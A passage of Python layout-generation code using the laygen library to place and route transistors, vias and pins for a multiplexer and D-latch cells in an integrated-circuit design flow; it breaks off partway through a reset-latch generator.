refinstname0=in6.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in6.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
ri1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='G0', refinstname1=in6.name, refpinname1='G0')
laygen.via(None, np.array([-1, 1]), refinstname=in6.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in6.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ri1 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='G0', refinstname1=in6.name, refpinname1='G0')
laygen.via(None, np.array([0, 1]), refinstname=in6.name, refpinname='G0', gridname=rg_m2m3)
# en0
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in2.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
ren0_m2 = laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([4, 0]), gridname0=rg_m1m2,
refinstname0=in2.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in2.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
# en1
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
ren1_m2 = laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in5.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
# enb0
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
renb0_m2 = laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=ip2.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip2.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
# enb1
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
renb1_m2 = laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([4, 0]), gridname0=rg_m1m2,
refinstname0=ip5.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip5.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
# internal connection between stacked mos
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0',
refinstname1=in2.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0',
refinstname1=ip2.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='D0',
refinstname1=in5.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip6.name, refpinname0='D0',
refinstname1=ip5.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in2.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip2.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in5.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip5.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in6.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip6.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
# mux output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in2.name, refpinname0='S0', refinstname1=in5.name, refpinname1='S0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip2.name, refpinname0='S0', refinstname1=ip5.name, refpinname1='S0')
rmuxo0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in5.name, refpinname0='S0', refinstindex0=np.array([m - 1, 0]),
refinstname1=ip5.name, refpinname1='S0', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in2.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in2.name, refpinname='S1', gridname=rg_m1m2, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='S1', gridname=rg_m1m2, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='S1', gridname=rg_m1m2, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='S1', gridname=rg_m1m2, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='S0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='S0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
# inverter input
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in9.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip9.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 0]), refinstname=in9.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in9.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in9.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
rinvi0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 4]), gridname0=rg_m2m3,
refinstname0=in9.name, refpinname0='G0', refinstname1=in9.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=in9.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in9.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in9.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
rinvi0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in9.name, refpinname0='G0', refinstname1=in9.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in9.name, refpinname='G0', gridname=rg_m2m3)
#inverter output
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([1, 1]), gridname0=rg_m2m3,
refinstname0=in9.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in9.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([1, 1]), gridname0=rg_m2m3,
refinstname0=ip9.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip9.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in9.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in9.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip9.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip9.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in9.name, refpinname='D0', refinstindex=np.array([i, 1]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip9.name, refpinname='D0', refinstindex=np.array([i, 1]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in9.name, refpinname='D0', refinstindex=np.array([m-1, 1]),
gridname=rg_m2m3)
laygen.via(None, np.array([0, 1]), refinstname=ip9.name, refpinname='D0', refinstindex=np.array([m-1, 1]),
gridname=rg_m2m3)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in9.name, refpinname0='D0', refinstindex0=np.array([m-1, 0]),
refinstname1=ip9.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
# en/enb cross couple
ren0_m2m3_xy = laygen.get_xy(obj = ren0_m2, gridname = rg_m2m3, sort=True)
ren1_m2m3_xy = laygen.get_xy(obj = ren1_m2, gridname = rg_m2m3, sort=True)
renb0_m2m3_xy = laygen.get_xy(obj = renb0_m2, gridname = rg_m2m3, sort=True)
renb1_m2m3_xy = laygen.get_xy(obj = renb1_m2, gridname = rg_m2m3, sort=True)
[rv0, rh0, renb0] = laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][2], renb0_m2m3_xy[1], ren1_m2m3_xy[0], renb0_m2m3_xy[0][1]+1, rg_m2m3)
laygen.via(None, xy=np.array(renb0_m2m3_xy[1]), gridname=rg_m2m3)
laygen.via(None, xy=np.array(ren1_m2m3_xy[0]), gridname=rg_m2m3)
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=ren0_m2m3_xy[1], xy1=renb1_m2m3_xy[0], gridname0=rg_m2m3, via0=[[0, 0]], via1=[[0, 0]])
# muxout to invin
rmuxo0_m2m3_xy = laygen.get_xy(obj = rmuxo0, gridname = rg_m2m3, sort=True)
rinvi0_m2m3_xy = laygen.get_xy(obj = rinvi0, gridname = rg_m2m3, sort=True)
laygen.route(None, laygen.layers['metal'][2], xy0=rmuxo0_m2m3_xy[1], xy1=rinvi0_m2m3_xy[1], gridname0=rg_m2m3, via1=[[0, 0]])
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in6.name, refinstindex0=np.array([i, 0]),
refinstname1=in6.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip6.name, refinstindex0=np.array([i, 0]),
refinstname1=ip6.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in6.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip6.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in9.name, refinstindex0=np.array([i, 0]),
refinstname1=in9.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip9.name, refinstindex0=np.array([i, 0]),
refinstname1=ip9.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in9.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip9.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([m - 1, 0]),
refinstname1=in1.name, refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([m - 1, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m - 1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([m - 1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in6.name, refinstindex0=np.array([m - 1, 0]),
refinstname1=in6.name, refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip6.name, refinstindex0=np.array([m - 1, 0]),
refinstname1=ip6.name, refinstindex1=np.array([m - 1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in6.name, gridname=rg_m1m2,
refinstindex=np.array([m - 1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip6.name, gridname=rg_m1m2,
refinstindex=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in9.name, refinstindex0=np.array([m - 1, 0]),
refinstname1=in9.name, refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip9.name, refinstindex0=np.array([m - 1, 0]),
refinstname1=ip9.name, refinstindex1=np.array([m - 1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in9.name, gridname=rg_m1m2,
refinstindex=np.array([m - 1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip9.name, gridname=rg_m1m2,
refinstindex=np.array([m - 1, 0]))
# power and groud rail
xy = laygen.get_xy(obj = in10.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip10.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in10.name)
#pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I0', 'I1', 'EN0', 'EN1', 'O'], rect_list=[ri0, ri1, ren0, renb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_latch_2ck(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,origin=np.array([0, 0]),
m=4, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, pin_o_y=5, create_pin=False):
"""generate D latch (complementary clock)"""
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i0 = laygen.place("I"+objectname_pfix + 'TINV0', "tinv_"+str(m)+"x", pg, xy=origin)
#i1 = laygen.relplace(name = "I"+objectname_pfix + 'TINV1', templatename = "tinv_1x_nmosinput", gridname = pg, refinstname = i0.name) #used minimum size
#i2 = laygen.relplace(name = "I"+objectname_pfix + 'INV0', templatename = "inv_"+str(m)+"x_pmosinput", gridname = pg, refinstname = i1.name)
i1 = laygen.relplace(name = "I"+objectname_pfix + 'TINV1', templatename = "tinv_small_1x", gridname = pg, refinstname = i0.name) #used minimum size
i2 = laygen.relplace(name = "I"+objectname_pfix + 'INV0', templatename = "inv_"+str(m)+"x", gridname = pg, refinstname = i1.name)
# internal pins
tinv0_i_xy = laygen.get_inst_pin_xy(i0.name, 'I', rg_m3m4)
tinv0_en_xy = laygen.get_inst_pin_xy(i0.name, 'EN', rg_m3m4)
tinv0_enb_xy = laygen.get_inst_pin_xy(i0.name, 'ENB', rg_m3m4)
tinv0_o_xy = laygen.get_inst_pin_xy(i0.name, 'O', rg_m3m4)
tinv1_i_xy = laygen.get_inst_pin_xy(i1.name, 'I', rg_m3m4)
tinv1_en_xy = laygen.get_inst_pin_xy(i1.name, 'EN', rg_m3m4)
tinv1_enb_xy = laygen.get_inst_pin_xy(i1.name, 'ENB', rg_m3m4)
tinv1_o_xy = laygen.get_inst_pin_xy(i1.name, 'O', rg_m3m4)
inv0_i_xy = laygen.get_inst_pin_xy(i2.name, 'I', rg_m3m4)
inv0_o_xy = laygen.get_inst_pin_xy(i2.name, 'O', rg_m3m4)
#clk
rclk0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_en_xy[0][0], pin_clk_y]), xy1=np.array([tinv1_enb_xy[0][0], pin_clk_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv0_en_xy[0][0], pin_clk_y]), xy1=tinv0_en_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_enb_xy[0][0], pin_clk_y]), xy1=tinv1_enb_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv0_en_xy[0][0], pin_clk_y]), gridname=rg_m3m4)
laygen.via(None, np.array([tinv1_enb_xy[0][0], pin_clk_y]), gridname=rg_m3m4)
#clkb
rclkb0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_enb_xy[0][0], pin_clkb_y]), xy1=np.array([tinv1_en_xy[0][0], pin_clkb_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv0_enb_xy[0][0], pin_clkb_y]), xy1=tinv0_enb_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_en_xy[0][0], pin_clkb_y]), xy1=tinv1_en_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv0_enb_xy[0][0], pin_clkb_y]), gridname=rg_m3m4)
laygen.via(None, np.array([tinv1_en_xy[0][0], pin_clkb_y]), gridname=rg_m3m4)
#storage node
laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_o_xy[0][0], route_mem_y]), xy1=np.array([inv0_i_xy[0][0], route_mem_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv0_o_xy[0][0], route_mem_y]), xy1=tinv0_o_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_o_xy[0][0], route_mem_y]), xy1=tinv1_o_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([inv0_i_xy[0][0], route_mem_y]), xy1=inv0_i_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv0_o_xy[0][0], route_mem_y]), gridname=rg_m3m4)
laygen.via(None, np.array([tinv1_o_xy[0][0], route_mem_y]), gridname=rg_m3m4)
laygen.via(None, np.array([inv0_i_xy[0][0], route_mem_y]), gridname=rg_m3m4)
#inv0 output to tinv1 input
ro0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv1_i_xy[0][0], pin_o_y]), xy1=np.array([inv0_o_xy[0][0], pin_o_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_i_xy[0][0], pin_o_y]), xy1=tinv1_i_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([inv0_o_xy[0][0], pin_o_y]), xy1=inv0_o_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv1_i_xy[0][0], pin_o_y]), gridname=rg_m3m4)
laygen.via(None, np.array([inv0_o_xy[0][0], pin_o_y]), gridname=rg_m3m4)
#pin
if create_pin == True:
ri0_pin_xy=laygen.get_inst_pin_xy(name="I" + objectname_pfix + 'TINV0', pinname='I', gridname=rg_m3m4)
laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ri0_pin_xy, gridname=rg_m3m4)
laygen.pin(name='CLK', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = rclk0, gridname = rg_m3m4), gridname=rg_m3m4)
laygen.pin(name='CLKB', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = rclkb0, gridname = rg_m3m4), gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = ro0, gridname = rg_m3m4), gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'TINV0', 'VDD', rg_m2m3)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'INV0', 'VDD', rg_m2m3)
rvss0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'TINV0', 'VSS', rg_m2m3)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'INV0', 'VSS', rg_m2m3)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
def generate_latch_2ck_rstbh(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,origin=np.array([0, 0]),
m=4, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, pin_o_y=5, create_pin=False):
"""generate D latch (complementary clock)"""
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i0 = laygen.place("I"+objectname_pfix + 'TINV0', "tinv_"+str(m)+"x", pg, xy=origin)
i1 = laygen.relplace(name = "I"+objectname_pfix + 'TINV1', templatename = "tinv_small_1x", gridname = pg, refinstname = i0.name) #used minimum size
i2 = laygen.relplace(name = "I"+objectname_pfix + 'ND0', templatename = "nand_"+str(m)+"x", gridname = pg, refinstname = i1.name)
# internal pins
tinv0_i_xy = laygen.get_inst_pin_xy(i0.name, 'I', rg_m3m4)
tinv0_en_xy = laygen.get_inst_pin_xy(i0.name, 'EN', rg_m3m4)
tinv0_enb_xy = laygen.get_inst_pin_xy(i0.name, 'ENB', rg_m3m4)
tinv0_o_xy = laygen.get_inst_pin_xy(i0.name, 'O', rg_m3m4)
tinv1_i_xy = laygen.get_inst_pin_xy(i1.name, 'I', rg_m3m4)
tinv1_en_xy = laygen.get_inst_pin_xy(i1.name, 'EN', rg_m3m4)
tinv1_enb_xy = laygen.get_inst_pin_xy(i1.name, 'ENB', rg_m3m4)
tinv1_o_xy = laygen.get_inst_pin_xy(i1.name, 'O', rg_m3m4)
nd0_a_xy = laygen.get_inst_pin_xy(i2.name, 'A', rg_m3m4)
nd0_b_xy = laygen.get_inst_pin_xy(i2.name, 'B', rg_m3m4)
nd0_o_xy = laygen.get_inst_pin_xy(i2.name, 'O', rg_m3m4)
#clk
rclk0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_en_xy[0][0], pin_clk_y]), xy1=np.array([tinv1_enb_xy[0][0], pin_clk_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv0_en_xy[0][0], pin_clk_y]), xy1=tinv0_en_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_enb_xy[0][0], pin_clk_y]), xy1=tinv1_enb_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv0_en_xy[0][0], pin_clk_y]), gridname=rg_m3m4)
laygen.via(None, np.array([tinv1_enb_xy[0][0], pin_clk_y]), gridname=rg_m3m4)
#clkb
rclkb0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_enb_xy[0][0], pin_clkb_y]), xy1=np.array([tinv1_en_xy[0][0], pin_clkb_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv0_enb_xy[0][0], pin_clkb_y]), xy1=tinv0_enb_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_en_xy[0][0], pin_clkb_y]), xy1=tinv1_en_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv0_enb_xy[0][0], pin_clkb_y]), gridname=rg_m3m4)
laygen.via(None, np.array([tinv1_en_xy[0][0], pin_clkb_y]), gridname=rg_m3m4)
#storage node
laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_o_xy[0][0], route_mem_y]), xy1=np.array([nd0_a_xy[0][0], route_mem_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv0_o_xy[0][0], route_mem_y]), xy1=tinv0_o_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_o_xy[0][0], route_mem_y]), xy1=tinv1_o_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([nd0_a_xy[0][0], route_mem_y]), xy1=nd0_a_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv0_o_xy[0][0], route_mem_y]), gridname=rg_m3m4)
laygen.via(None, np.array([tinv1_o_xy[0][0], route_mem_y]), gridname=rg_m3m4)
laygen.via(None, np.array([nd0_a_xy[0][0], route_mem_y]), gridname=rg_m3m4)
#nd0 output to tinv1 input
ro0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv1_i_xy[0][0], pin_o_y]), xy1=np.array([nd0_o_xy[0][0], pin_o_y]), gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([tinv1_i_xy[0][0], pin_o_y]), xy1=tinv1_i_xy[0], gridname0=rg_m3m4)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([nd0_o_xy[0][0], pin_o_y]), xy1=nd0_o_xy[0], gridname0=rg_m3m4)
laygen.via(None, np.array([tinv1_i_xy[0][0], pin_o_y]), gridname=rg_m3m4)
laygen.via(None, np.array([nd0_o_xy[0][0], pin_o_y]), gridname=rg_m3m4)
#pin
if create_pin == True:
ri0_pin_xy=laygen.get_inst_pin_xy(name="I" + objectname_pfix + 'TINV0', pinname='I', gridname=rg_m3m4)
